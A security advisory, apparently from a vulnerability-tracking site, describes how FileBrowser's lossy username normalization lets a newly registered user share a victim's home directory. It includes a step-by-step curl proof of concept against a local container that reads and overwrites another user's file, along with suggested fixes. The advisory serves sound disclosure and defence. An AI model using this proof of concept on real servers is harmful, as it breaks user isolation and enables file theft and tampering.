File Browser: Colliding username normalization gives two users the same home directory
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H상세 설명
Summary
FileBrowser confines each user to a scope: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (Signup=true and CreateUserDir=true), a new user's scope is built from their username after it passes through cleanUsername(). That function rewrites the name: it strips .. and replaces every character outside 0-9A-Za-z@_\-. with -.
The problem is that this rewrite is many-to-one: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So team/one, team one, and team-one all collapse to the same directory name, and whoever registers second is handed the same home directory as the first user instead of an isolated one.
This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering alice/ or al..ice to land in alice's home) and gain full read and write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.
Details
1. The home directory is built straight from the cleaned username (settings/dir.go:30)
1// MakeUserDir, when CreateUserDir is true: 2username = cleanUsername(username) 3// ... 4userScope = path.Join(s.UserHomeBasePath, username) // line 30 5userScope = path.Join("/", userScope) // line 33The user's scope is path.Join(UserHomeBasePath, cleanUsername(username)).
2. cleanUsername collapses distinct inputs to the same output (settings/dir.go:42-52)
1func cleanUsername(s string) string { 2 s = strings.Trim(s, " ") 3 s = strings.ReplaceAll(s, "..", "") // line 45, deletes ".." 4 s = invalidFilenameChars.ReplaceAllString(s, "-") // line 48, any non [0-9A-Za-z@_.-] -> "-" 5 s = dashes.ReplaceAllString(s, "-") // line 51, collapse repeated "-" 6 return s 7}Because several characters all map to - (and .. is simply deleted), many different usernames produce the same output: team/one, team one, team:one, and team-one all become team-one, and a..b becomes ab. Usernames that are unique on their own end up pointing at one shared directory name.
3. No scope-uniqueness check exists
Username uniqueness is enforced on the raw username (Storm id), but nothing enforces uniqueness of the derived Scope. signupHandler writes the colliding scope back to the user (http/auth.go:198-203) and saves the account; the second registrant simply reuses the first registrant's home directory (MakeUserDir calls MkdirAll, which is idempotent).
PoC
Tested against filebrowser/filebrowser:v2.63.15 with Signup=true and CreateUserDir=true (default minimumPasswordLength is 12).
Attack Vector: register a colliding username and read/overwrite another user's files:
1#1. Create a dir in /tmp and start a fresh v2.63.15 container 2mkdir -p /tmp/filebrowser-test/srv 3docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 4B=http://localhost:8090; PW='CollidePw12345!' 5 6#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true 7AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') 8AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}") 9curl -s -H "X-Auth: $AT" $B/api/settings \10 | python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \11 | curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-12 13#3. Register the victim teamone-x14curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}"15 16#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)17curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}"18 19#5. Log in as both accounts (TA = victim, TB = attacker)20TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}")21TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}")22 23#6. Victim A writes a private file24curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null25 26#7. Attacker B reads A's file (both resolve to the single shared home directory)27curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"28 29#8. Attacker B overwrites the file30curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null31 32#9. Victim A reads back the tampered content33curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA"Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
1GET /api/raw/secretA.txt (as user B, attacker) -> 200 2A-private-CONFIDENTIAL-data 3 4POST /api/resources/secretA.txt?override=true (as user B) -> 200 (empty body) 5 6GET /api/raw/secretA.txt (as user A, victim, reads back) -> 200 7TAMPERED-BY-B 8 9GET /api/users (as admin, both accounts share one scope) -> 20010[ ... {"username":"teamone-x","scope":"/users/teamone-x"}, {"username":"teamone/x","scope":"/users/teamone-x"} ... ]On disk there is a single shared home directory /srv/users/teamone-x.
Impact
- Cross-user read: an attacker registering a colliding username can read every file in a victim's home directory.
- Cross-user write and tamper: the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content.
- Per-user isolation bypass: the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.
- Targeted or opportunistic: an attacker can deliberately craft a username that collides with a known victim (e.g. registering
alice/,alice., oral..iceto land onalice's directory), or collisions can occur accidentally between legitimate users. - Precondition: requires the administrator to have enabled both
SignupandCreateUserDir.
Recommended Fix
Make the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:
1// settings/dir.go, base the home dir on a collision-free identifier: 2userScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))Alternatively, in signupHandler, after computing the scope, reject the registration if any existing user already owns that scope (store.Users.GetByScope(scope) ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that cleanUsername is never silently lossy.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…